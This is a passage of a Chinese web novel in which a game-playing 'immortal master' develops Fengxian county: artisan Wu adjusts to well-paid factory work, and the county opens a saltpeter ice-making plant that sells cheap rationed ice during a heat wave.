整个景旭宫依旧勤奋修炼,但无人知晓,这阻滞的真相便是因为《青梧引(残)》的修炼上限达到了。 按照资质不同,可以将人体分为不同容量的容器。 资质不好的,在这残本的引导下,会先行填满容器,而率先出现饱和状态,也就是说最先感受到——阻滞感。 而资质好的,因为容器足够大,还处于在容器里继续灌入的阶段,自然不会感受到所谓的阻滞感。 而当容器被填满后,这阻滞感会越来越强,毕竟容器是一定的,但内容物还会继续填充,等到自然破开或者是因为外物撞击,或者刺激后,容器这才会承受不住炸裂开来。 眼下景旭宫所处的情况便是容器即将撑满,且更为惊险的是,因一些人感受阻滞感已久,如今已经开始在私底下寻求一枚破境丹药,或者可以辅助修行的丹药。 虽说暂且还没能找到此类丹药,但一旦有需求,日后定会加班加点的研制这类丹药,想来不日之后市场上便会出现可促进修行的丹药。 黎州元城。 杜百继续进行商队生意,如今在保皇派不知情的情况下,黎州元城正无意间大量购入风仙县的货品。 购入的货品除了不包括日后会给对方带来好处的军用物品,以及别的功能性物品外,大部分都是针对于更好的提升生活品质类的物品。 那谈天禄已经不满足于慢慢悠悠的靠着上层赚钱,在打听到杜百能搞到更多的东西后,谈天禄在询问了一番干爹后,立即选择了开设特供铺子,将杜百带来的东西慢慢铺设在中层阶级。 话说杜百对于这多出来的物资如何解释也是颇为有道理。 “就拿这昭华灯来说,原先昂贵是因为会做的人少,就那一个鲁班后人。因这物托叔伯您的福,卖得好,这鲁班后人自然是找了往日的几位心腹徒弟,又招收了不少匠人负责别的工序,自己负责最为重要的工序,这一来二去的,产量自然上来了。 且从第一盏昭华灯到现在,期间已有多半年,这徒弟也带出来了,这才能实现数量增长。 别的方面也是如此,叔伯您是聪明人,一个地方若是能靠某物赚钱,那自然别的人也会来加入,试图分一杯羹,一来二去,自然物资就生产得多了。” 杜百的解释很有道理,虽说她可以不解释,但谈天禄此人生性多疑,气量狭窄,若是不解释清楚,此人恐怕会以为她以往都是在骗他。 虽说这也是事实吧 杜百腹诽,而后面上继续做出一副老实模样。 “叔伯放心,既然数量增加了,那价格肯定会稍微降一些,这日后小侄定会主动和对方谈及价格问题,日后若是价格更改,第一时间便通知您。” 为了数量,适当降低一点价格也能接受。 最主要的原因在于,不多久后仙师或许会将黎州探入囊中,还不如趁机会先出一部分物资,一来可以削弱敌人,二来可以将风仙县的产出往外大批量输送,加快库存消耗。 毕竟原先只是供给权贵的话,库存消耗量太小,虽说单价高。 谈天禄原先还略微芥蒂杜百先前可能是在诓骗他,但眼看对方老老实实的将这话解释清楚,先前那股说不清道不明的芥蒂逐渐消散,此刻也开始缓慢琢磨这件事的可行度。 既然面对人群出现改变,那销售策略自然需要变更。 上层已经开始普及的东西,如今中层才开始,想来中层也是憋着一股劲想购买一番。 所以一开始先不用调试价格,还按照原先价格售卖,毕竟那些有钱商户不少,多的是愿意为了上层刚流通下来的新奇之物付费。 等到日子久了,卖不出的时候,再考虑降价也不迟。 且这样也不会惹恼原先最先拿到此物的上层们,毕竟一开始价格也没变化,只是放开了购买通道而已。 看着自己早就有的东西,早就享受过的东西被市场上的人大肆争抢购买,打得头破血流,这又何尝不是一种乐趣? 谈天禄脑内早就将此事想得清楚,再计算一番可能有的利润后,连带着先前对杜百的那点不满也在巨大的利益下灰飞烟灭。 此刻笑得满脸褶子,一口一个好侄儿,催着对方将货物送来。 杜百自然应是。 就像原先说的,这贸易生意她或许赚得不如谈天禄等人多,但等仙师攻占黎州后,可直接从谈天禄这里拿走这笔钱,省得从别人手中再夺回这笔钱,这可是行走的钱袋子啊。 杜百很快便配合对方将所需货物送了过来,因利润丰富,谈天禄倒是不曾拖延欠款,也不曾去打听杜百是从哪儿进的货,他倒是知晓抓大放小,只着重于自己眼前的高额利润。 很快,整个黎州中层阶级刮起了一阵风。 效仿上层阶级的风。 中层阶级以有这些东西为荣,作为拉近上层阶级距离的手段,好似拥有此物假以时日,自己便也能从如今的阶层往上再挪一挪。 所以这些被上层玩腻了东西,一开始便卖得火爆无比。 最受欢迎的自然是昭华灯,以往这东西都是需要求爷爷告奶奶才能买到的东西。 不说别的虚的,这昭华灯实用啊! 这些人倒是有机会参加上层大官们的宴会,在宴席间看到昭华灯就心动了,但无奈实在是求不到,只能作罢。 如今开放购买,自是到了彰显实力的时候了。 有钱的商人连着购买一连串,只为了将家里点映得灯火通明,而就算手里不那么宽裕的,也会购入一两盏灯。 毕竟如今都开放购买了,再假借无人脉,买不到灯托词实在是不好用了。 现在买不到,客人来家里时,那可真是会被嘲笑的。 所以这些人家再怎么也会购入一盏灯,宴席时作为招待客人的门面,平时时便送到小郎君书房内,让自家小郎君能够在夜里读书。 虽说一盏灯价格实在不菲,但想到这灯可不仅仅是面子货,还能用作读书照明之物,一时间,就算是咬牙购买的人家,也慢慢觉得此物还是颇为实用的。 唯一不好的是,这昭华灯还需要额外添加染料,而添加染料的价格也是不便宜 为了应付黎州骤然增加的添气需求,杜百又额外招收了十来人进入加气队伍,负责给购入昭华灯的日后加气。 而先前加入慎刑司,原属于廖尚书府内的一众死士则是看着荒唐的黎州,各个觉得好笑无比。 第266章 开眼 这些死士原先个个都是廖尚书的好手,如今被廖尚书背刺后,这部分死士选择加入慎刑司为死去的亲人报仇。 当初他们临出去执行任务前,倒是知道城内开始流行昭华灯。 了解的不太多,只知晓此物甚为昂贵,且很难求到。 当初廖尚书府内也不过两盏灯,一盏放入廖尚书的书房内,另一盏灯用于会客厅。 不过值得一提的是,当初这昭华灯确实给他们带来了不小的冲击力。 这简直是亮如白昼! 但等他们去了风仙县,发现那里的昭华灯到处都是。 不过那也不叫昭华灯,叫沼气灯,且价格不是五百两,这还是起拍价,花钱也买不到。 风仙县的沼气灯才不到百文一个,且家家户户连接着沼气管道,这其内的燃料一点都不需要额外花钱补充,直接通过管道取用即可。 不像黎州这边,往里面添加燃料还需要额外花钱购买,俨然不是一次性生意。 众人回神后发现他们不知什么时候,便会将黎州内发生的各种事,不自觉和风仙县对比。 比如看到这昂贵难求的昭华灯,便想到风仙县便宜物美的沼气灯。 看到黎州简朴的澡堂和旱厕,便想到风仙县干净便捷的沐浴和马桶。 再譬如,看到这成色不好,且售卖昂贵的盐巴,就想到风仙县那两文钱一分,雪白的细盐。 再或者是别的东西,几乎都是风仙县要更为物美价廉。 但换句话说,黎州元城的东西不好,但价格贵啊!工钱低,但工作时间长啊! 还难找得很! 一时半会,不光是加入尚久的初六有这种想法,就连刚加入不久的其余十来号人,也是迅速生出此类想法。 往日是没有能对比的,他们便以为黎州元城作为都城,自然日子是过得最为舒服的,毕竟这可是都城啊! 但等从风仙县再回到这所谓的都城后,一时间竟然事事不习惯。 这脑内也并非故意产生对比,而是风仙县给的冲击太深,如今一看到熟悉的东西,标记着另外的价格,这如何不让他们觉得眼前这一切甚是荒谬? 他们身上有着监视黎州的重任,所以日常会定期将所看所得汇聚成重要信息,而后再通过这里的通讯道士传递回去。 一般来说,他们的最优先关注目标是上层这些人的动向,但相应的,中层和普通百姓也需要关心。 如今看到风仙县出产的商品将整个黎州搅得翻天覆地,初六想的却是这是不是说明风仙县正在从黎州这边赚钱? 也不知道这其内生意是怎么做的? 初六略微好奇,但他的任务并非探究这生意,关注瞬间后很快又调转注意力。 话说到这黎州元城上次送过去的五百工匠。 先前的吴匠人在熬过几日的路上奔波后,总算顺利进城。 人一进风仙县,吴匠人只觉得眼前豁然开朗,这风仙县可比他想得大多了! 哎呦老天,这路上铺的是三合土? 他只在元城见过,且那路面可不允许普通人走! 这会马车正行驶在这三合土路面,平稳的体验让吴匠人觉得新奇无比,这会自是探出头想往外面看去。 这想往外看的人太多,马车内本就拥挤,如今这好事可轮不到他。 脑袋被撞得生疼,吴匠人只能从人群挤着的缝隙中往外瞧。 ——怪不得这风仙县能给得起日薪一百文的薪资,这光看铺设的路面,就能知道这地方应当很有钱才对! 再看外面店铺还算热闹,来往行人几乎可以比肩元城,这热闹劲甚至比元城还要热闹几分。 吴匠人甚是机灵,很快便从中嗅到了有钱途! 等到他们被隔离开,吃到了简单的饭菜后,吴匠人几乎落泪。 ——早说啊,早说就连这免费给的饭菜都这么好,日后还不晓得能有什么好待遇哩! 美滋滋过了三日,吴匠人倒是被引着进了扫盲班。 起初刚听闻要进入“扫盲班”读书认字时,吴匠人惊得炸毛。 这这真的假的?在元城可从没有哪个地方会在做工前要求他们读书认字的! 但既然是统一安排,吴匠人不敢搞特殊,乖乖跟着大部队,想着尽快从这里毕业出去才是。 毕竟他听得很清楚,只有从这里毕业后,才能被引入那所谓的厂子内部,才能去赚钱去。 吴匠人别的方面机灵,但对于这扫盲班内教授的东西吸收得不算太好,但总算也在十日后磕磕绊绊的拿到了毕业证。 这批匠人大都通过了扫盲班的考试,只有少部分几十人需要重新继续学习,以便第二次通过才是。 吴匠人晕乎乎的跟着大部队,前往那所谓的日后需要上工的地方。 他这十日从那扫盲班里学来的东西,简直要颠覆他的认知。 ——什么沼气池,什么统一供暖,什么日薪最低一百文,什么还有加班费,节假日三倍工资 哦,对了,这地方还说学堂无论男女,无论年龄,家庭背景,全部公平招收,且让吴匠人最为惊诧的是,这里学堂一年仅需一两,全年竟然是再无别的花销! 吴匠人消息广泛,他记得在元城,学堂一年没个几十两下不来,毕竟笔墨纸砚,加上给先生的束脩费,节假日的礼物,哪一样不需要花钱? 除了这点外,吴匠人还震撼于本地女子的地位之高。 虽说他在家里一直都屈服于娘子,但这里,女子能去正经工作,有收入的情况下,竟然不少男子过着和他一样的生活。 吴匠人原先总觉得自己过于怯懦,这会一看居然还有这么多人和他一样,一时半会也觉得心气顺了。 顿时觉得和他同为天涯沦落人的人可真是不少。 等到他们被引入那工厂后,吴匠人抬头去看这工厂,发现此工厂的穹顶很高,人进入这硕大的工厂竟然丝毫不觉得压抑。 不过工厂内部却被分割成一小块一小块的,看样子是每个人,或者是每几个人需要做的工作一致。 吴匠人也做过类似这种需要分工合作的活计,大概也是各自完成自己手头的项目,等所有人弄完后组合在一起,如今看来,之后他们所做的活计也是如此。 等到看习惯这工厂内部格局后,在管事的带领下,他们很快便被分配了对应的任务。 吴匠人分配到的活计并不算难,是负责打磨一件奇奇怪怪的外壳,摸起来沉甸甸的,像是铁做的? 他不确定,但既然工作是这个,那他便好好做便是。 要说这吴匠人虽说颇为八卦,肚量又小,又容易嫉妒别人,但他做活时倒也算是认真。 忙碌了一天,等到临下工前,那管事的又来了。 只说了一句话,便让这五百来号人愣在当场。 “先前被叫过去忙了,竟然连工钱都没说,这每日基础工资为两百文一日,其余的便是计件算法,做得越多工钱越多,像是上一批来的人里——那些人都是你们的老乡们,他们中最厉害的,每日可达五百文。” 这话一说出来,原先还略微有些乱的厂子顿时静寂无声。 就连吴匠人也瞪大眼睛,脑内澎湃。 ——多少?五百文?一天? 他觉得自己有点要喘不过气来了,眼前一切东西都似乎模糊起来,身旁其余人也没好到哪里去,各个红着眼,有的人甚至抹了抹眼泪,大声又狼狈的抽噎着,弄得袖口全是鼻涕。 吴匠人往边上挪了点,自然仍处于震惊中。 等到确定这管事的并非开玩笑,并非画饼后,不仅仅是他,几乎所有人的热情都被点燃了。 原先他们在黎州元城,连一份工作都找不到,而到了这里,不仅不用发愁没有工作,竟然还能靠着自己努力拿到这么高的工钱? 要知道他们原先每日有个几十文已经是顶好的了,且那也需要干六七个时辰才能拿到。 而如今每日只需干四个时辰,便能拿到比以往更多的工钱,一时间,众人各种思绪飞涌而来 不管怎么说,总算是能养家了,哪怕这风仙县物价高一些,只要收入够高,这也能攒下钱寄回去! 再说了,这厂子包吃包住,若是对生活没太大要求的,这可是能省许多钱! 众人的热情被点燃,别说别人,就连吴匠人都被感染,原先他还想到了这里试探着找找万惠,毕竟他一直在和对方对比,但此刻,他更想好好赚钱。 毕竟这实在是给得太多了! 众人很快被引入分配到的住宿地方,是六个人一间房,睡得上下铺,虽说环境不够私密,但他们都是吃过苦的,以往大通铺一睡就是几十人,磨牙的,脚臭的,手脚不干净的,啥人都有。 所以如今这六人间对他们来说可谓是顶好的住宿了,且还免费。 ——原先那几十人的大通铺一日还需要两文钱呢! 冬天不暖,夏天不凉的,蚊虫还多,又脏又乱,哪里比得上这里! 众人满意得很。 这会各自将自己带来的被褥铺上去。 说是被褥,实际上就是床单,因为是夏天,众人也没寻思太多,只带了轻薄好带的床单,这会一铺,便能躺上去睡觉。 也有人带了薄薄的垫子,这会垫上自然更舒服。 除了睡觉方面,他们还需要采买一个洗漱用的盆子。 因为盆子不好带,且粗陶盆很便宜,所以大部分选择过来再买。 吴匠人也是如此,他带了猪毛做的牙刷,心想除了买个洗脸盆,好歹再买个牙缸漱口刷牙用。 一时间众人下工后结伴而行,打听一番后便直奔那售卖零物的街道。 第267章 变化 要说等来到这售卖零碎物件这条街后,吴匠人很快便发现这里的人多了许多。 两旁小摊小贩也多,再加上店铺门面,一时半会,这条街的热闹程度绝对要比他印象中的元城要热闹得多。 今日倒不是周六日,吴匠人心想为何这下了工后人这般多? 此刻因是夏日节令,属于黄昏阶段,这些店铺摊位还不曾点开沼气灯。 所以趁着黄昏的光线,一行人赶忙小跑着过去买东西。 主要也是怕一会天黑了后这些小商贩回家了。 等到一起来到一粗陶摊子前,询问那盆子和别的容器价格时,众人倒是发现这价格不说贵,竟然还比元城还要稍微便宜一些。 等将所需要的盆子和漱口杯都买好,还额外买了个往日能够喝水的杯子,一共也才花了几文钱不到。 摸了摸质量,吴匠人觉得这质量没问题,不存在是瑕疵品。 等到买完必用品后,众人倒不着急了,索性开始慢慢逛一逛。 毕竟来都来了,刚需已经买完了,这么早回去也睡不着觉,还不如慢慢逛逛,也好了解一下风仙县的物价如何。 一行人往前继续行进,很快便发现这里的物价都要比元城低,且吃食类的有许多花样种类,在微暖的黄昏中散发出一股股令人心躁的香味。 众人将眼神收回来——中午管饭吃得很饱了,眼下不该花钱再买额外的吃食了,浪费! 这会继续往前行进,发现这里食材卖得竟然也便宜,譬如地瓜,才一两文一大堆。 当初他们刚进来隔离时,这免费饭菜给的就是地瓜,吴匠人觉得还挺好吃,挺甜的,又看这价格便宜,一时间倒是也有些猜测。 ——难道这名为地瓜一物产量很高?只有说产量高了,这价格才会低。 想明白这个后,吴匠人也好奇别的。 这地瓜这么好,怎么不见元城也号召种植这地瓜? 他们没有田地,不能种地,但那些有地的人怎地不种? 一番打听,才知晓这物是仙师给予的仙果,产量高,不易生病,还味道好,容易填饱肚子。 此番均是优点,吴匠人本还有些怀疑这仙人是不是杜撰的,但又一想,若不是仙人,倒是从哪弄到这神奇的地瓜的? 再在市集上转悠着,吴匠人很快便被别的价格惊得瞪大眼睛。 这里的细盐卖得这么便宜?两文钱一斤? 他揉了揉眼睛,确保自己没看错,脑内突然就想到原先那方氏拿到的那点细腻如同白雪一样的盐巴。 当初都说那东西是主人家发放下来的福利,那万氏将细盐换了更多的粗盐自己用了。 到底吴匠人也没看到那一小捧细盐长什么模样,如今竟然在这卖盐的店铺内看到了。 他不自觉往前凑了两步,买盐的人也有,大都是买一斤以内的,更多的是二两半。 其余的人见吴匠人往前凑了几分,也纷纷过去凑个热闹,等到看到这堪称离谱的价格后,个个张大嘴巴,傻乎乎的看着眼前细腻的盐巴发呆。 买盐的人还在往窗户口挤着,几人很快被挤开,然后呆愣愣看了又看。 看那卖盐的掌柜的没什么时间和他们说话,吴匠人又小走两步,看到了一处卖糖的。 这糖也绵软雪白,看着沙沙的。 吴匠人还不曾看到过这样的糖,只以为这也是盐。 等开口问了后,对方却说这是糖。 “糖?” 吴匠人心想这糖怎么和盐似的,他往日见到的糖不过就是稀稀拉拉的糖浆,便宜,还有些许甜味,可不像这白生生的。 这得很贵吧? 对于一切新出现的事物,吴匠人都不自觉觉得这东西会很贵。 再一看价格,发现也就还好? 不像是盐那样会让人觉得便宜得吓人,但也绝对不能说昂贵,属于平价的,每个正常工作的人都能买得起的日常调味料。 吴匠人脑内还有些迷糊,他理解不了,为何这盐这么便宜,为何这形态漂亮的糖也这般平价。 人有了问题便想问。 等到几人朝着这卖糖的掌柜打听为何时,对方却说因为风仙县内有制糖厂。 若是盐巴的话,则是因为有盐厂。 几人甚是好奇,说了没几句话,这掌柜的拧开了沼气灯,瞬间昏暗的铺子内亮堂起来。 几人只觉得眼前一花,再看过去时,屋内顿时亮如白昼。 一时间,众人微微眯了眯眼。 眼睛因为强光,瞳孔迅速缩小。 先前在扫盲班时,他们只是在临时住宿的地方待着,因为他们并不需要做活,所以那地方没给配备沼气灯。 而今日又是众人第一次上工,可谓是沼气灯还是头一次看到。 不过,扫盲班内有提及这沼气灯的存在,只说点开灯后,亮如白昼。 这个词语的确让人能很清楚的想象到这沼气灯打开以后的模样,但说实话,他们想不到一盏灯能有这么大的照明面积,个个觉得这话更像是吹。 夸张的手法。 但等真实看到这沼气灯,被灯刺激得眼泪瞬间涌出来几滴后,这才后知后觉明白这玩意的到底是怎么个明亮。 机会难得,和这卖糖的掌柜多聊了几句,吴匠人总算知晓了这风仙县内到底有多少厂子了。 原先以为只有他们目前在做工的一个厂子,但眼下看来,并非如此,其内厂子构成丰富,包含日常生活的方方面面,不可谓不让人震撼。 且在听到厂子内的福利待遇后,几人也均察觉到一件事。 在这里,若是能进入厂子内上工,那绝对是一件很被众人羡慕的事,且有官府托底,安稳性不必多说,更别提那些福利了。 像是什么逢年过节能有节日福利,厂子里的东西能用便宜价格买到,或者有时候厂子内部会有瑕疵品互购会,专门先行供应工厂内部员工,算作员工福利。 除了这些外,稳定的,不会被人辞退的收入也是让人眼红不已。 等听完了这卖糖的掌柜的话后,吴匠人一行人甚是激动。 ——他们加入的也是厂子,虽说不太清楚这厂子到底是做什么的,但对比一下福利,发现确实给官府开设的厂子赚钱来得合适。 此刻正是沼气灯陆续打开时候,这条街道顿时变得灯火通明。 没亮灯以前,他们以为这里可能过一会就会收摊回家,但此刻灯一点开,人站在这里,一时间竟然分不清白天黑夜的区别,他们能看的到的是,这些商贩明摆着还打算继续开着,尤其是先前那开着小吃摊的,如今人流量更多了。 看样子,大都是下了工的人过来吃东西。 转悠了许久,也有人决定去小吃街问问价格。 本以为会很贵,但等听到这价格竟然不算贵后,一时间有人动摇了。 也是因为肚中饥饿,几人一琢磨点个酸辣粉得了,毕竟闻起来确实香辣诱人,再者便是他们并未吃过这所谓的地瓜做成的粉。 为了能更多的品尝一番新奇事物,手头不太紧的决定每人都买个花样,然后换着吃,这样便能知晓哪个好吃,哪个不符合口味了。 吴匠人买的是酸辣粉,他如今手头还稍微有些钱,且远在元城的妻子也没说过得就差这几文钱。 等到第一口吃上这酸辣粉后,吴匠人只觉得这东西实在是美妙,又辣又酸爽,这粉还Q弹爽口,他还从未吃到过这般有嚼劲的吃食! 同行的人买了别的东西,像是油炸过的地瓜饼,软糯香甜,还撒了点白糖,好吃得很。 几人互相换着吃了几口,本想着说排除一下不好吃的小吃,这会真吃上了后,绝望发现每一个都挺好吃压根排除不了。 众人心想今日花个几文钱得了,往日的话,不如他们一行人多买点地瓜,蒸熟了也一样好吃,还价格便宜,饱腹感强。 等回到了那住宿的地方,吴匠人先在那公用的沐浴室冲了个澡。 话说这冲澡的地方也是让众人惊喜不已,不像是他们在元城时,洗个澡还要用盆子或者是木桶接着水洗,这里用的是“花洒”,温热的水流瞬间冲刷着身体,花洒的水很绵密,人在下面冲洗得很是舒适。 因这里洗漱是免费使用,每个人只允许冲三分钟,省得人太多排队。 要说这冲澡的感觉是挺好的,但唯一不太好的是里面人不少,十来个喷头,每个人都光着膀子,这让人有些尴尬,但相比于身上黏糊糊的不爽利,这进来后和同性面对面也不算是什么难以接受的事了。 吴匠人便是如此,等迅速冲澡结束后,躺在略显坚硬的床上,他有些昏昏欲睡。 心想着等攒点钱了,下个月,给自己买一个垫子,这单是床单睡着是不舒服。 因有沐浴条件,几乎所有人都选择去冲澡,再加上六人间人少,还开着窗,屋内的味道意外得还不错,至少不会有那种出汗后的酸臭味。 可以说目前这环境,比吴匠人原先想着的要好太多。 日子过得飞快,一行人在风仙县安稳下来,这风仙县比吴匠人预想要大许多,人也多。 当初他们从进门到进入隔离点,吴匠人便注意到还有许多外来的流民正络绎不绝的前往此地,和他们一并接受隔离,然后在扫盲后进入各行各业。 这些人一部分留在本县,大部分被调度到别的县域内。 原先吴匠人没来前还想着来了后试探着找找万家夫妻二人,如今真来了后发现,他压根没那个心思。 一是人多,找起来费劲,二是如今忙于赚钱,每天都还嫌时间不够,哪里又有什么别的时间再去和别人对比比较? 不知不觉,吴匠人那点嫉妒心慢慢被抚平,眼下更想更努力,赚更多的钱,过更好的生活才是。 第268章 制冰 风仙县。 时间过得很快,六月很快摇晃一过,便到了七月份。 七月份的天气更为炎热,不说大户人家会买点冰回去降温,像是普通人家,则只能扇着扇子,期待这大热天的赶紧过去。 前几日,官府连锁的制冰铺子开业了。 其实早在十来日之前,游戏内便弹出提醒。 【温度上升过快,请建造一座制冰厂吧!】 姜定:制冰? 再看看游戏内的温度,确实如同提醒所说,已然显示红色高温状态。 按照游戏估计,若是不及时制作大量冰块的话,恐怕这好不容易得来的人口会死不少啊! 姜定看了看那个预估的死亡数量,顿觉得立马行动。 这会忙联络方知意,将筹备制冰厂这事分配下去。 当然,除了足够的银两外,还需要额外上传一份可供使用的视频。 姜定找了半天,将一份硝石制冰的视频发了过去。 其实他已经很久没有上传过视频了,主要原因也是因为他当时一股脑上传了许多,如今潜灵山上正矗立着一座集中了各类书籍和视频简介的集闻楼。 刚才他不给发视频也行,但上面写得清楚,若是他不发的话,靠着紫卡人物自己找的话,要白白耽误一周时间,还不如他费点劲找了发给对方算了。 等将这制冰视频发过去后,姜定在地图上一看,顿时发现另外需要解决的事。 如今气温高了,田地里便需要灌溉水,这农田和河流的距离还有些,还需要人力灌溉,若是能设计个水风车什么的,不是能大大减少人力浪费? 不过这些田地并非都靠近河流,稍微看了几眼后,姜定大概想到了不同的灌溉方式。 接近水源,且地势合适的地方采用筒车,靠水流冲力转动水轮,即可实现农田的自动化灌溉。 对于将低处的水引入高处的话,即可采用龙骨水车,也就是翻车,需要用人力或者畜力转动带着齿的木轴,从而将水从低处引入高处。 大概有了想法,再将鼠标移动到固定的位置时,果然,只有合适的地形才能采用对应的建筑。 姜定忙将他旗下地区内的所有农业都覆盖上,这才松了口气——起码今年秋收结束后,他的粮食算是够了,等粮食够了,就能痛快顺利的打仗了。 而与此同时,方知意也接到了开设制冰厂的消息。 仙师并未和她多说话,只是简简单单将任务交代下去,一如既往。 如今气温上升,方知意前几日还在思索该如何保证百姓都能过活下来,倒是没想到仙师竟然也在关注着此事。 一时间对仙师的敬重更是多了几分。 尤其是仙师传授给她的那硝石制冰之法。 这法子在脑内飞速闪过,方知意记忆犹新,如今还能清楚的记着其内细节。 硝石制冰——实在是过于新奇,且仔细回想脑内那段记忆,方知意发觉这所谓的硝石制冰居然没什么成本,除了一开始买硝石需要花费一笔钱,但后期制冰的话,几乎处于毫无损耗的状态。 且这制冰也不是一时两时的,是日后长久能用到的。 今年用到了,日后还能继续用。 在看到这制冰的原材料为硝石后,方知意算是知晓仙师的良苦用心了。 因硝石需要管控,所以这制冰一事也只能由官府负责。 很快,一座制冰厂凭空而起。 其内采购了不少硝石,因制冰手法较为精细,此番多招聘女工,除了卖力气的活计招聘男工。 方知意在脑内那段记忆中看到,这硝石制冰必须严格避免用手直接接触硝石溶液或者冰块,以防冻伤。 于是便又采购了一批手套。 与此同时,制冰厂很快开始招收员工。 当制冰厂刚出来时,几乎所有人都不太理解何为制冰厂? 因为如今的冰铺均采用“藏冰法”——将冬日冰块存储于地窖,而后在夏日售卖。 其中耗费的人力物力,加上空间费和管理费,自然让其价格不菲。 现在听说要开设制冰厂,众人第一反应自然是好奇。 ——冰块?那不是冬日才能有的东西?该如何制冰? 想破脑袋没想出来,有想象力丰富的人便开始琢磨开来。 “这有没有可能是仙师将一区域气温改变,那区域的气温冷如冬日,将水放入那处,即可得到冰块?” 不得不说,百姓们虽说想不到硝石制冰的法子,但这类似于不可能存在的,更像是神话传说一样的法子,也因仙师的存在被众人信奉不已。 一时半会,这说法很快便被众人知晓相信。 不少人去应聘制冰厂职位,主要也是好奇那所谓的寒冷之地到底是在哪?还在本县不? 要说这制冰厂招收新人,最高兴的莫过于先前那批从元城来的匠人们了。 当初他们将家人带来后,虽说也有零工能做,日子过得也不赖,但如今既然有新的工厂,人人自然都加把劲,想将自家人被这工厂招聘上。 别的不说,好歹进了制冰厂,工作稳定,说不定还能带回来点冰作为员工福利呢! 当然福利是后话,主要众人还是图个稳定。 在这不稳定的世道里求个稳定,谁都知道有多不容易。 他们的竞争对手大都是那些别的地方来的流民们,并非本县和附近县域内的原住民,所以并不存在抢占对方岗位的问题,也不存在厂子会优先偏向于本地人。 这竞争还算公平。 这些人忙纷纷打听渠道,试着打探别家娘子是如何进入工厂的,一来二去,自然也就打探到了万氏头上。 毕竟是一块来的,且有些人还和万惠有点交情,万氏倒是将自己猜测到的东西告知对方。 “打扮得干净一些,然后老实肯干,稍微机灵一些。” 思来想去,万氏回忆她当初的招聘,很快便给出了点建议。 “最主要的是要诚实,原先招聘时,那负责招聘的人眼神很毒,一眼就能知晓你说的真话假话。” 想到过去,万氏提醒这几人。 既然已得到了建议,几人向夫妻二人道别后迅速离开。 等到招聘时,果然这几人的家人都应聘上了。 几人自然喜得很,特意带了点礼物上门感谢万家夫妻。 毕竟总算是在这风仙县安顿下来了。 听说那制冰厂给的薪资是一人一日一百五十文,日后做得好了,还有奖金。 万家夫妻向来与人为善,此刻也真实的替他们高兴。 更别提这几人还租住在他们附近,想来有了这层关系,日后也能互相照顾一番。 制冰厂开始制冰的速度很快。 几乎人招满的当天,这些人便被带过去培训,打算培训结束后就开始投入生产。 主要原因也是天气热了,方知意怕耽误下去会弄出麻烦来。 而这些人在培训前本还是很相信前几日所说的那些传闻——仙师设置了一寒冷之地,她们需要将水放入其内,然后冻成冰后再拿出来。 但当看到制冰厂其内放置的巨大的多个盆子时,众人还是不由自主的瞪大眼睛。 ——这和想象中不一样啊! 尤其是当培训很快将她们所需做的活计告知清楚后,众人还有些懵。 将两个盆子叠着放,就搅合搅合水,放置一会冰块就做好了? 这听着很是荒唐 但当她们亲眼看到一大块泛着冷气的冰块产生后,众人不自觉瞪大眼睛。 哎呦嘿,还真给做成了! 培训相对来说还算简单,对于普通岗位的员工来说,这活计没什么复杂的。 但唯一的要求是要戴着手套,且严格规定了不许触碰溶液以及冰块,否则会因为寒冷冻坏皮肤。 而相对精密的配比溶液员就要培训时间稍长点。 一开始这活计是方知意点了个聪慧的可信任的手下负责的,等寻到合适的接班人后,这手下便可以返回县衙内了。 就这样,制冰厂迅速投入生产,因效率奇高,没几日,冰块便生产出一大堆。 这制冰官府为的并非是赚钱,而是救人,于是在官府开设的制冰铺子里,冰块的价格低廉,且最重要的是限购。 每家每户按照户籍上所写的人数过来购买,可以买少,但不许多买。 且这冰块概不外售,除非有官府下发的采购证。 不过这采购证一般还真没人能弄到,因为冰块一般被用于冶金行业,但冶炼行业目前被官府管控。 冰块自然被直接送到了冶金厂,中间压根无须中转。 等到制冰铺子一开业,众人一蜂窝涌过去。 毕竟这来自于仙师之手的冰块,谁不好奇? 往日只有有钱人家才能用得起冰块,现如今,虽说大伙没想着这冰块价格能便宜,但一来是好奇,想去看个热闹,二来是心想这制冰铺子想必很是凉快,这也不白去。 等到亲眼看到那冰块泛着丝丝冷意后,众人又盯着那拼音去看。 识字的人早就先看到了,那上面明明写的是——一斤冰售两文。 识字的人楞在原地,而认得拼音的人才刚刚将价格拼出来,如今也愣在原地。 一斤冰两文钱??? 这对吗?要知道先前一斤冰块的售价在500文啊! 其中可是差了498文!这绝不是一个小数目! 再仔细看那上面所写,每人每日份额有1斤,且必须拿户籍购买,绝对严令禁止倒卖。 一斤其实并不少,正常一块一斤的冰足以让一个小房间持续数个时辰的凉爽了,更何况谁家不得有个三四五个人? 每日消耗个两三块,多余的冰还能敲开,混合着做一些凉饮饮用,绝对是夏日避暑的好法子。 譬如酸梅汤冰镇一番,岂不是很爽口? 第269章 好日子 官府特供的冰块持续走红。 因天气炎热,往年这个时候只能靠着苦熬,但如今既然有便宜好用的冰块,且价格才这么点,谁心里都有杆秤。 一时间,卖冰铺子火热得很。 因制冰大多是为了利民,所以目前的话,这铺子仅仅是在每个县域开设了一家,且价格规定均为2文钱一斤,且需要户籍购买。 若是外地来的,仅仅是在本县工作的,即需要工作地方出具一份在职证明。 当然,如果谁因为过节或者想用写在职证明来威胁的,可以上报县衙,最迟三天后也会有人上门查询此事明细。 一般来说,在风仙县呆得好好的,谁都不愿意搞这些幺蛾子,除了危险外,还有降低个人信誉的风险。 个人信誉关乎自身和孩子的入学,以及日后找工作。 谁也不乐意因为自己的一点失误操作搞得孩子上不了学,毕竟如今只要不是瞎子就能看明白,这从学堂出去了后,绝对能找到一份合适的工作。 制冰铺子迅速将库存冰售卖一空,因要供应的数量多,一时半会,连带着制冰厂开始第二次招聘。 等新进的员工加入生产后,制冰的效率总算是上来了。 虽说做不到大批量应用于商业,但是应对目前民众需求,还算勉强够用。 也幸亏是采用了户籍人数限制购买,不然其内的倒买倒卖自然抑制不住。 因天气炎热,万惠也拿着自家的户籍,前去购入四块冰。 一共花了八文。 他头一次在炎炎夏日触摸到冰块,拿着盆子端着往家走时,盆子很快也沾染了冰块的湿润和冷意,沿着盆壁攀升出细细密密的水珠。 因孩子年岁还小,万惠一家人都在一间屋子里待着,地上还铺着凉席,最中央的地方放了个盆子,里面放着新买回来的冰。 这冰块正在徐徐散发凉气,原先还带着燥热的气温,此刻慢慢变得凉下来。 三块用于降温,剩余的一块被用来做了几碗甜丝丝的刨冰。 万惠用刀将冰块敲碎,又看妻子在陶碗内放了些切好的桃子和甜瓜,撒了白糖,冰气混合着水果的清香味很是诱人。 